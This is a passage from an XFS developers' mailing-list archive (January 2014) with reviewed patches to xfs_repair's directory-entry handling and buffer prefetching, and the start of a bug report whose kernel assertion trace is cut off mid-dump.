tmp_sfep = (xfs_dir2_sf_entry_t *) > + ((__psint_t) sfep + tmp_elen); > + tmp_len = *max_size - ((__psint_t) tmp_sfep > + - (__psint_t) sfp); > + *max_size -= tmp_elen; > + *bytes_deleted += tmp_elen; > + > + memmove(sfep, tmp_sfep, tmp_len); > + > + sfp->count -= 1; > + memset((void *)((__psint_t)sfep + tmp_len), 0, > + tmp_elen); > + > + /* > + * WARNING: drop the index i by one > + * so it matches the decremented count for > + * accurate comparisons in the loop test > + */ > + (*index)--; > + > + *ino_dirty = 1; > + > + if (verbose) > + do_warn(_("junking entry\n")); > + else > + do_warn("\n"); > + return sfep; > +} > + > static void > shortform_dir2_entry_check(xfs_mount_t *mp, > xfs_ino_t ino, > @@ -2201,15 +2303,13 @@ shortform_dir2_entry_check(xfs_mount_t *mp, > xfs_ino_t lino; > xfs_ino_t parent; > struct xfs_dir2_sf_hdr *sfp; > - xfs_dir2_sf_entry_t *sfep, *next_sfep, *tmp_sfep; > + struct xfs_dir2_sf_entry *sfep; > + struct xfs_dir2_sf_entry *next_sfep; > xfs_ifork_t *ifp; > ino_tree_node_t *irec; If we're going to respin, it might be worth fixing up these two typedefs as well. Brian > int max_size; > int ino_offset; > int i; > - int junkit; > - int tmp_len; > - int tmp_elen; > int bad_sfnamelen; > int namelen; > int bytes_deleted; > @@ -2266,9 +2366,7 @@ shortform_dir2_entry_check(xfs_mount_t *mp, > for (i = 0; i < sfp->count && max_size > > (__psint_t)next_sfep - (__psint_t)sfp; > sfep = next_sfep, i++) { > - junkit = 0; > bad_sfnamelen = 0; > - tmp_sfep = NULL; > > lino = xfs_dir3_sfe_get_ino(mp, sfp, sfep); > > @@ -2340,7 +2438,10 @@ shortform_dir2_entry_check(xfs_mount_t *mp, > do_warn( > _("entry \"%s\" in shortform directory %" PRIu64 " references non-existent inode %" PRIu64 "\n"), > fname, ino, lino); > - goto do_junkit; > + next_sfep = shortform_dir2_junk(mp, sfp, sfep, lino, > + &max_size, &i, &bytes_deleted, > + ino_dirty); > + continue; > } > > ino_offset = XFS_INO_TO_AGINO(mp, lino) - irec->ino_startnum; > @@ -2354,7 +2455,10 @@ shortform_dir2_entry_check(xfs_mount_t *mp, > do_warn( > _("entry \"%s\" in shortform directory inode %" PRIu64 " points to free inode %" PRIu64 "\n"), > fname, ino, lino); > - goto do_junkit; > + next_sfep = shortform_dir2_junk(mp, sfp, sfep, lino, > + &max_size, &i, &bytes_deleted, > + ino_dirty); > + continue; > } > /* > * check if this inode is lost+found dir in the root > @@ -2367,7 +2471,10 @@ shortform_dir2_entry_check(xfs_mount_t *mp, > do_warn( > _("%s (ino %" PRIu64 ") in root (%" PRIu64 ") is not a directory"), > ORPHANAGE, lino, ino); > - goto do_junkit; > + next_sfep = shortform_dir2_junk(mp, sfp, sfep, > + lino, &max_size, &i, > + &bytes_deleted, ino_dirty); > + continue; > } > /* > * if this is a dup, it will be picked up below, > @@ -2381,11 +2488,15 @@ shortform_dir2_entry_check(xfs_mount_t *mp, > */ > if (!dir_hash_add(mp, hashtab, (xfs_dir2_dataptr_t) > (sfep - xfs_dir2_sf_firstentry(sfp)), > - lino, sfep->namelen, sfep->name)) { > + lino, sfep->namelen, sfep->name, > + xfs_dir3_sfe_get_ftype(mp, sfp, sfep))) { > do_warn( > _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), > fname, lino, ino); > - goto do_junkit; > + next_sfep = shortform_dir2_junk(mp, sfp, sfep, lino, > + &max_size, &i, &bytes_deleted, > + ino_dirty); > + continue; > } > > if (!inode_isadir(irec, ino_offset)) { > @@ -2403,11 +2514,14 @@ _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), > * the .. in the child, blow out the entry > */ > if (is_inode_reached(irec, ino_offset)) { > - junkit = 1; > do_warn( > _("entry \"%s\" in directory inode %" PRIu64 > " references already connected inode %" PRIu64 ".\n"), > fname, ino, lino); > + next_sfep = shortform_dir2_junk(mp, sfp, sfep, > + lino, &max_size, &i, > + &bytes_deleted, ino_dirty); > + continue; > } else if (parent == ino) { > add_inode_reached(irec, ino_offset); > add_inode_ref(current_irec, current_ino_offset); > @@ -2423,76 +2537,60 @@ _("entry \"%s\" (ino %" PRIu64 ") in dir %" PRIu64 " is a duplicate name"), > add_dotdot_update(XFS_INO_TO_AGNO(mp, lino), > irec, ino_offset); > } else { > - junkit = 1; > do_warn( > _("entry \"%s\" in directory inode %" PRIu64 > " not consistent with .. value (%" PRIu64 > ") in inode %" PRIu64 ",\n"), > fname, ino, parent, lino); > + next_sfep = shortform_dir2_junk(mp, sfp, sfep, > + lino, &max_size, &i, > + &bytes_deleted, ino_dirty); > + continue; > } > } > > - if (junkit) { > -do_junkit: > - if (lino == orphanage_ino) > - orphanage_ino = 0; > - if (!no_modify) { > - tmp_elen = xfs_dir3_sf_entsize(mp, sfp, > - sfep->namelen); > - tmp_sfep = (xfs_dir2_sf_entry_t *) > - ((__psint_t) sfep + tmp_elen); > - tmp_len = max_size - ((__psint_t) tmp_sfep > - - (__psint_t) sfp); > - max_size -= tmp_elen; > - bytes_deleted += tmp_elen; > - > - memmove(sfep, tmp_sfep, tmp_len); > - > - sfp->count -= 1; > - memset((void *)((__psint_t)sfep + tmp_len), 0, > - tmp_elen); > - > - /* > - * set the tmp value to the current > - * pointer so we'll process the entry > - * we just moved up > - */ > - tmp_sfep = sfep; > - > - /* > - * WARNING: drop the index i by one > - * so it matches the decremented count for > - * accurate comparisons in the loop test > - */ > - i--; > + /* validate ftype field if supported */ > + if (xfs_sb_version_hasftype(&mp->m_sb)) { > + __uint8_t dir_ftype; > + __uint8_t ino_ftype; > > - *ino_dirty = 1; > + dir_ftype = xfs_dir3_sfe_get_ftype(mp, sfp, sfep); > + ino_ftype = get_inode_ftype(irec, ino_offset); > > - if (verbose) > - do_warn(_("junking entry\n")); > - else > - do_warn("\n"); > - } else { > - do_warn(_("would junk entry\n")); > + if (dir_ftype != ino_ftype) { > + if (no_modify) { > + do_warn( > + _("would fix ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), > + dir_ftype, ino_ftype, > + ino, lino); > + } else { > + do_warn( > + _("fixing ftype mismatch (%d/%d) in directory/child inode %" PRIu64 "/%" PRIu64 "\n"), > + dir_ftype, ino_ftype, > + ino, lino); > + xfs_dir3_sfe_put_ftype(mp, sfp, sfep, > + ino_ftype); > + dir_hash_update_ftype(hashtab, > + (xfs_dir2_dataptr_t)(sfep - xfs_dir2_sf_firstentry(sfp)), > + ino_ftype); > + *ino_dirty = 1; > + } > } > - } else if (lino > XFS_DIR2_MAX_SHORT_INUM) > + } > + > + if (lino > XFS_DIR2_MAX_SHORT_INUM) > i8++; > > /* > - * go onto next entry unless we've just junked an > - * entry in which the current entry pointer points > - * to an unprocessed entry. have to take into entries > - * with bad namelen into account in no modify mode since we > - * calculate size based on next_sfep. > + * go onto next entry - we have to take entries with bad namelen > + * into account in no modify mode since we calculate size based > + * on next_sfep. > */ > ASSERT(no_modify || bad_sfnamelen == 0); > - > - next_sfep = (tmp_sfep == NULL) > - ? (xfs_dir2_sf_entry_t *) ((__psint_t) sfep > - + ((!bad_sfnamelen) > - ? xfs_dir3_sf_entsize(mp, sfp, sfep->namelen) > - : xfs_dir3_sf_entsize(mp, sfp, namelen))) > - : tmp_sfep; > + next_sfep = (struct xfs_dir2_sf_entry *)((__psint_t)sfep + > + (bad_sfnamelen > + ? xfs_dir3_sf_entsize(mp, sfp, namelen) > + : xfs_dir3_sf_entsize(mp, sfp, sfep->namelen))); > } > > if (sfp->i8count != i8) { > @@ -2501,6 +2599,8 @@ do_junkit: > ino); > } else { > if (i8 == 0) { > + struct xfs_dir2_sf_entry *tmp_sfep; > + > tmp_sfep = next_sfep; > process_sf_dir2_fixi8(mp, sfp, &tmp_sfep); > bytes_deleted += > @@ -2518,8 +2618,7 @@ do_junkit: > /* > * sync up sizes if required > */ > - if (*ino_dirty) { > - ASSERT(bytes_deleted > 0); > + if (*ino_dirty && bytes_deleted > 0) { > ASSERT(!no_modify); > libxfs_idata_realloc(ip, -bytes_deleted, XFS_DATA_FORK); > ip->i_d.di_size -= bytes_deleted; > diff --git a/repair/scan.c b/repair/scan.c > index 49ed194..73b4581 100644 > --- a/repair/scan.c > +++ b/repair/scan.c > @@ -866,9 +866,9 @@ _("inode rec for ino %" PRIu64 " (%d/%d) overlaps existing rec (start %d/%d)\n") > for (j = 0; j < XFS_INODES_PER_CHUNK; j++) { > if (XFS_INOBT_IS_FREE_DISK(rp, j)) { > nfree++; > - add_aginode_uncertain(agno, ino + j, 1); > + add_aginode_uncertain(mp, agno, ino + j, 1); > } else { > - add_aginode_uncertain(agno, ino + j, 0); > + add_aginode_uncertain(mp, agno, ino + j, 0); > } > } > } > From bfoster@redhat.com Fri Jan 24 08:39:21 2014 Return-Path: <bfoster@redhat.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1089E8002 for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 08:39:21 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E8C858F8064 for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 06:39:20 -0800 (PST) X-ASG-Debug-ID: 1390574360-04cb6c750ad8fd0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id tgVcOEczD1BdUl6i for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 06:39:20 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0OEdJoK031708 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 09:39:19 -0500 Received: from laptop.bfoster (vpn-54-164.rdu2.redhat.com [10.10.54.164]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0OEdIY4006219 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 09:39:18 -0500 Message-ID: <52E27B15.8070101@redhat.com> Date: Fri, 24 Jan 2014 09:39:17 -0500 From: Brian Foster <bfoster@redhat.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: [PATCH 2/3] libxfs: remove map from libxfs_readbufr_map References: <1390519284-31440-1-git-send-email-david@fromorbit.com> <1390519284-31440-3-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 2/3] libxfs: remove map from libxfs_readbufr_map In-Reply-To: <1390519284-31440-3-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390574360 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/23/2014 06:21 PM, Dave Chinner wrote: > From: Dave Chinner <dchinner@redhat.com> > > The map passed in to libxfs_readbufr_map is used to check the buffer > matches the map. However, the repair readahead code has no map it > can use to validate the buffer it set up previously, so just get rid > of the map being passed in because it serves no useful purpose. > > Signed-off-by: Dave Chinner <dchinner@redhat.com> > --- Reviewed-by: Brian Foster <bfoster@redhat.com> > db/io.c | 4 +--- > include/libxfs.h | 3 +-- > libxfs/rdwr.c | 12 ++---------- > 3 files changed, 4 insertions(+), 15 deletions(-) > > diff --git a/db/io.c b/db/io.c > index 123214d..d29816c 100644 > --- a/db/io.c > +++ b/db/io.c > @@ -449,9 +449,7 @@ write_cur_bbs(void) > > > /* re-read buffer from disk */ > - ret = libxfs_readbufr_map(mp->m_ddev_targp, iocur_top->bp, > - iocur_top->bbmap->b, iocur_top->bbmap->nmaps, > - 0); > + ret = libxfs_readbufr_map(mp->m_ddev_targp, iocur_top->bp, 0); > if (ret != 0) > dbprintf(_("read error: %s\n"), strerror(ret)); > } > diff --git a/include/libxfs.h b/include/libxfs.h > index 2872410..bb0369f 100644 > --- a/include/libxfs.h > +++ b/include/libxfs.h > @@ -448,8 +448,7 @@ extern void libxfs_putbufr(xfs_buf_t *); > extern int libxfs_writebuf_int(xfs_buf_t *, int); > extern int libxfs_writebufr(struct xfs_buf *); > extern int libxfs_readbufr(struct xfs_buftarg *, xfs_daddr_t, xfs_buf_t *, int, int); > -extern int libxfs_readbufr_map(struct xfs_buftarg *, struct xfs_buf *, > - struct xfs_buf_map *, int, int); > +extern int libxfs_readbufr_map(struct xfs_buftarg *, struct xfs_buf *, int); > > extern int libxfs_bhash_size; > > diff --git a/libxfs/rdwr.c b/libxfs/rdwr.c > index bf92788..ac7739f 100644 > --- a/libxfs/rdwr.c > +++ b/libxfs/rdwr.c > @@ -727,27 +727,19 @@ libxfs_readbuf(struct xfs_buftarg *btp, xfs_daddr_t blkno, int len, int flags, > } > > int > -libxfs_readbufr_map(struct xfs_buftarg *btp, struct xfs_buf *bp, > - struct xfs_buf_map *map, int nmaps, int flags) > +libxfs_readbufr_map(struct xfs_buftarg *btp, struct xfs_buf *bp, int flags) > { > int fd = libxfs_device_to_fd(btp->dev); > int error = 0; > char *buf; > int i; > > - ASSERT(BBTOB(len) <= bp->b_bcount); > - > - ASSERT(bp->b_nmaps == nmaps); > - > fd = libxfs_device_to_fd(btp->dev); > buf = bp->b_addr; > for (i = 0; i < bp->b_nmaps; i++) { > off64_t offset = LIBXFS_BBTOOFF64(bp->b_map[i].bm_bn); > int len = BBTOB(bp->b_map[i].bm_len); > > - ASSERT(bp->b_map[i].bm_bn == map[i].bm_bn); > - ASSERT(bp->b_map[i].bm_len == map[i].bm_len); > - > error = __read_buf(fd, buf, len, offset, flags); > if (error) { > bp->b_error = error; > @@ -787,7 +779,7 @@ libxfs_readbuf_map(struct xfs_buftarg *btp, struct xfs_buf_map *map, int nmaps, > if ((bp->b_flags & (LIBXFS_B_UPTODATE|LIBXFS_B_DIRTY))) > return bp; > > - error = libxfs_readbufr_map(btp, bp, map, nmaps, flags); > + error = libxfs_readbufr_map(btp, bp, flags); > if (!error) { > bp->b_flags |= LIBXFS_B_UPTODATE; > if (bp->b_ops) > From bfoster@redhat.com Fri Jan 24 08:39:32 2014 Return-Path: <bfoster@redhat.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 342C4800F for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 08:39:32 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 28C428F8064 for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 06:39:32 -0800 (PST) X-ASG-Debug-ID: 1390574371-04cb6c31f5a0bd0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id E9MYr4FJUuXkfmaa for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 06:39:31 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s0OEdUkF006047 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 09:39:31 -0500 Received: from laptop.bfoster (vpn-54-164.rdu2.redhat.com [10.10.54.164]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s0OEdTd5006308 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO) for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 09:39:30 -0500 Message-ID: <52E27B21.5060107@redhat.com> Date: Fri, 24 Jan 2014 09:39:29 -0500 From: Brian Foster <bfoster@redhat.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: [PATCH 3/3] repair: fix discontiguous directory block support References: <1390519284-31440-1-git-send-email-david@fromorbit.com> <1390519284-31440-4-git-send-email-david@fromorbit.com> X-ASG-Orig-Subj: Re: [PATCH 3/3] repair: fix discontiguous directory block support In-Reply-To: <1390519284-31440-4-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1390574371 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/23/2014 06:21 PM, Dave Chinner wrote: > From: Dave Chinner <dchinner@redhat.com> > > xfs/291 tests fragmented multi-block directories, and xfs_repair > throws lots of lookup badness errors in phase 3: > > - agno = 1 > 7fa3d2758740: Badness in key lookup (length) > bp=(bno 0x1e040, len 4096 bytes) key=(bno 0x1e040, len 16384 bytes) > - agno = 2 > 7fa3d2758740: Badness in key lookup (length) > bp=(bno 0x2d0e8, len 4096 bytes) key=(bno 0x2d0e8, len 16384 bytes) > 7fa3d2758740: Badness in key lookup (length) > bp=(bno 0x2d068, len 4096 bytes) key=(bno 0x2d068, len 16384 bytes) > - agno = 3 > 7fa3d2758740: Badness in key lookup (length) > bp=(bno 0x39130, len 4096 bytes) key=(bno 0x39130, len 16384 bytes) > 7fa3d2758740: Badness in key lookup (length) > bp=(bno 0x391b0, len 4096 bytes) key=(bno 0x391b0, len 16384 bytes) > 7fa3d2758740: Badness in key lookup (length) > > This is because it is trying to read a directory buffer in full > (16k), but is finding a single 4k block in the cache instead. > > The opposite is happening in phase 6 - phase 6 is trying to read 4k > buffers but is finding a 16k buffer there instead. > > The problem is caused by the fact that directory buffers can be > represented as compound buffers or as individual buffers depending > on the code reading the directory blocks. The main problem is that > the IO prefetch code doesn't understand compound buffers, so teach > it about compound buffers to make the problem go away. > > Signed-off-by: Dave Chinner <dchinner@redhat.com> > --- Reviewed-by: Brian Foster <bfoster@redhat.com> > repair/prefetch.c | 120 ++++++++++++++++++++++++++++++++++++++++++++---------- > 1 file changed, 99 insertions(+), 21 deletions(-) > > diff --git a/repair/prefetch.c b/repair/prefetch.c > index d3491da..984beda 100644 > --- a/repair/prefetch.c > +++ b/repair/prefetch.c > @@ -105,11 +105,12 @@ pf_start_io_workers( > static void > pf_queue_io( > prefetch_args_t *args, > - xfs_fsblock_t fsbno, > - int blen, > + struct xfs_buf_map *map, > + int nmaps, > int flag) > { > - xfs_buf_t *bp; > + struct xfs_buf *bp; > + xfs_fsblock_t fsbno = XFS_DADDR_TO_FSB(mp, map[0].bm_bn); > > /* > * Never block on a buffer lock here, given that the actual repair > @@ -117,8 +118,7 @@ pf_queue_io( > * the lock holder is either reading it from disk himself or > * completely overwriting it this behaviour is perfectly fine. > */ > - bp = libxfs_getbuf_flags(mp->m_dev, XFS_FSB_TO_DADDR(mp, fsbno), > - XFS_FSB_TO_BB(mp, blen), LIBXFS_GETBUF_TRYLOCK); > + bp = libxfs_getbuf_map(mp->m_dev, map, nmaps, LIBXFS_GETBUF_TRYLOCK); > if (!bp) > return; > > @@ -167,6 +167,14 @@ pf_read_bmbt_reclist( > xfs_bmbt_irec_t irec; > xfs_dfilblks_t cp = 0; /* prev count */ > xfs_dfiloff_t op = 0; /* prev offset */ > +#define MAP_ARRAY_SZ 4 > + struct xfs_buf_map map_array[MAP_ARRAY_SZ]; > + struct xfs_buf_map *map = map_array; > + int max_extents = MAP_ARRAY_SZ; > + int nmaps = 0;; > + unsigned int len = 0; > + int ret = 0; > + > > for (i = 0; i < numrecs; i++) { > libxfs_bmbt_disk_get_all(rp + i, &irec); > @@ -174,11 +182,11 @@ pf_read_bmbt_reclist( > if (((i > 0) && (op + cp > irec.br_startoff)) || > (irec.br_blockcount == 0) || > (irec.br_startoff >= fs_max_file_offset)) > - return 0; > + goto out_free; > > if (!verify_dfsbno(mp, irec.br_startblock) || !verify_dfsbno(mp, > irec.br_startblock + irec.br_blockcount - 1)) > - return 0; > + goto out_free; > > if (!args->dirs_only && ((irec.br_startoff + > irec.br_blockcount) >= mp->m_dirfreeblk)) > @@ -188,18 +196,59 @@ pf_read_bmbt_reclist( > cp = irec.br_blockcount; > > while (irec.br_blockcount) { > - unsigned int len; > + unsigned int bm_len; > > pftrace("queuing dir extent in AG %d", args->agno); > > - len = (irec.br_blockcount > mp->m_dirblkfsbs) ? > - mp->m_dirblkfsbs : irec.br_blockcount; > - pf_queue_io(args, irec.br_startblock, len, B_DIR_META); > - irec.br_blockcount -= len; > - irec.br_startblock += len; > + if (len + irec.br_blockcount >= mp->m_dirblkfsbs) > + bm_len = mp->m_dirblkfsbs - len; > + else > + bm_len = irec.br_blockcount; > + len += bm_len; > + > + map[nmaps].bm_bn = XFS_FSB_TO_DADDR(mp, > + irec.br_startblock); > + map[nmaps].bm_len = XFS_FSB_TO_BB(mp, bm_len); > + nmaps++; > + > + if (len == mp->m_dirblkfsbs) { > + pf_queue_io(args, map, nmaps, B_DIR_META); > + len = 0; > + nmaps = 0; > + } > + > + irec.br_blockcount -= bm_len; > + irec.br_startblock += bm_len; > + > + /* > + * Handle very fragmented dir2 blocks with dynamically > + * allocated buffer maps. > + */ > + if (nmaps >= max_extents) { > + struct xfs_buf_map *old_map = NULL; > + > + if (map == map_array) { > + old_map = map; > + map = NULL; > + } > + max_extents *= 2; > + map = realloc(map, max_extents * sizeof(*map)); > + if (map == NULL) { > + do_error( > + _("couldn't malloc dir2 buffer list\n")); > + exit(1); > + } > + if (old_map) > + memcpy(map, old_map, sizeof(map_array)); > + } > + > } > } > - return 1; > + ret = 1; > +out_free: > + if (map != map_array) > + free(map); > + return ret; > } > > /* > @@ -395,9 +444,28 @@ pf_read_inode_dirs( > } > > /* > - * pf_batch_read must be called with the lock locked. > + * Discontiguous buffers require multiple IOs to fill, so we can't use any > + * linearising, hole filling algorithms on them to avoid seeks. Just remove them > + * for the prefetch queue and read them straight into the cache and release > + * them. > */ > +static void > +pf_read_discontig( > + struct prefetch_args *args, > + struct xfs_buf *bp) > +{ > + if (!btree_delete(args->io_queue, XFS_DADDR_TO_FSB(mp, bp->b_bn))) > + do_error(_("prefetch corruption\n")); > + > + pthread_mutex_unlock(&args->lock); > + libxfs_readbufr_map(mp->m_ddev_targp, bp, 0); > + libxfs_putbuf(bp); > + pthread_mutex_lock(&args->lock); > +} > > +/* > + * pf_batch_read must be called with the lock locked. > + */ > static void > pf_batch_read( > prefetch_args_t *args, > @@ -426,8 +494,15 @@ pf_batch_read( > max_fsbno = fsbno + pf_max_fsbs; > } > while (bplist[num] && num < MAX_BUFS && fsbno < max_fsbno) { > - if (which != PF_META_ONLY || > - !B_IS_INODE(XFS_BUF_PRIORITY(bplist[num]))) > + /* > + * Handle discontiguous buffers outside the seek > + * optimised IO loop below. > + */ > + if ((bplist[num]->b_flags & LIBXFS_B_DISCONTIG)) { > + pf_read_discontig(args, bplist[num]); > + bplist[num] = NULL; > + } else if (which != PF_META_ONLY || > + !B_IS_INODE(XFS_BUF_PRIORITY(bplist[num]))) > num++; > if (num == MAX_BUFS) > break; > @@ -664,10 +739,13 @@ pf_queuing_worker( > bno = XFS_AGINO_TO_AGBNO(mp, cur_irec->ino_startnum); > > do { > - pf_queue_io(args, XFS_AGB_TO_FSB(mp, args->agno, bno), > - blks_per_cluster, > - (cur_irec->ino_isa_dir != 0) ? > - B_DIR_INODE : B_INODE); > + struct xfs_buf_map map; > + > + map.bm_bn = XFS_AGB_TO_DADDR(mp, args->agno, bno); > + map.bm_len = XFS_FSB_TO_BB(mp, blks_per_cluster); > + pf_queue_io(args, &map, 1, > + (cur_irec->ino_isa_dir != 0) ? B_DIR_INODE > + : B_INODE); > bno += blks_per_cluster; > num_inos += inodes_per_cluster; > } while (num_inos < XFS_IALLOC_INODES(mp)); > From bpm@sgi.com Fri Jan 24 13:37:07 2014 Return-Path: <bpm@sgi.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AA90F7FA8 for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 13:37:06 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay3.corp.sgi.com (Postfix) with ESMTP id 35560AC00A for <xfs@oss.sgi.com>; Fri, 24 Jan 2014 11:37:03 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id CF8BA4266DC; Fri, 24 Jan 2014 13:37:02 -0600 (CST) Date: Fri, 24 Jan 2014 13:37:02 -0600 From: Ben Myers <bpm@sgi.com> To: xfs@oss.sgi.com Subject: assert in xfs_log_commit_cil Message-ID: <20140124193702.GM26064@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable User-Agent: Mutt/1.5.20 (2009-06-14) Hi Folks, I hit this assertion on one of my test boxes today: [1167966.151275] XFS: Assertion failed: !list_empty(&cil->xc_cil), file: /r= oot/xfs/fs/xfs/xfs_log_cil.c, line: 636 [1167966.162659] ------------[ cut here ]------------ [1167966.168021] kernel BUG at /root/xfs/fs/xfs/xfs_message.c:107! [1167966.168026] invalid opcode: 0000 [#4] SMP [1167966.168081] Modules linked in: xfs(OF) ext2(F) dm_flakey(F) crc32c(F) = libcrc32c(F) autofs4(F) cpufreq_conservative(F) cpufreq_userspace(F) cpufre= q_powersave(F) microcode(F) fuse(F) loop(F) dm_mod(F) joydev(F) hid_generic= (F) usbhid(F) hid(F) ehci_pci(F) ehci_hcd(F) iTCO_wdt(F) iTCO_vendor_suppor= t(F) ipv6(F) usbcore(F) sg(F) igb(F) isci(F) sr_mod(F) pcspkr(F) mptctl(F) = cdrom(F) libsas(F) usb_common(F) ioatdma(F) ptp(F) i2c_i801(F) lpc_ich(F) m= fd_core(F) pps_core(F) dca(F) rtc_cmos(F) acpi_cpufreq(F) wmi(F) button(F) = mgag200(F) ttm(F) drm_kms_helper(F) drm(F) i2c_algo_bit(F) sysimgblt(F) sys= fillrect(F) i2c_core(F) syscopyarea(F) sd_mod(F) crc_t10dif(F) crct10dif_co= mmon(F) mpt2sas(F) raid_class(F) scsi_dh_emc(F) scsi_dh_rdac(F) scsi_dh_alu= a(F) scsi_dh_hp_sw(F) scsi_dh(F) thermal(F) sata_nv(F) processor(F) piix(F)= mptsas(F) mptscsih(F) scsi_transport_sas(F) mptbase(F) megaraid_sas(F) ide= _generic(F) ide_core(F) fan(F) thermal_sys(F) hwmon(F) ext3(F) jbd(F) mbcac= he(F) edd(F) ata_piix(F) ahci(F) libahci(F) libata(F) scsi_mod(F) [last unl= oaded: scsi_debug] [1167966.168102] CPU: 10 PID: 13005 Comm: kworker/10:3 Tainted: GF D = IO 3.13.0-rc2-0.9-default #28 [1167966.168103] Hardware name: SGI.COM SUMMIT/S2600GZ, BIOS SE5C600.86B.01= =2E06.0002.110120121539 11/01/2012 [1167966.168139] Workqueue: xfs-data/sdb1 xfs_end_io [xfs] [1167966.168141] task: ffff88065a0f0450 ti: ffff88009f2a8000 task.ti: ffff8= 8009f2a8000 [1167966.168174] RIP: 0010:[<ffffffffa06cd39d>] [<ffffffffa06cd39d>] assfa= il+0x1d/0x30 [xfs] [1167966.168176] RSP: 0018:ffff88009f2a9ce8 EFLAGS: 00010292 [1167966.168177] RAX: 0000000000000061 RBX: ffff88070085f180 RCX: 000000000= 0000000 [1167966.168179] RDX: ffff88083f68ed68 RSI: ffff88083f68d248 RDI: ffff88083= f68d248 [1167966.168180] RBP: ffff88009f2a9ce8 R08: 00000000000226fb R09: 000000000= 000000a [1167966.168182] R10: 00000000000226fb R11: 0000000000000006 R12: 000000000= 0000000 [1167966.168183] R13: ffff88070085f180 R14: ffff880829c21000 R15: ffff88067= f367400 [1167966.168186] FS: 0000000000000000(0000) GS:ffff88083f680000(0000) knlG= S:0000000000000000 [1167966.168187] CS: 0010 DS: 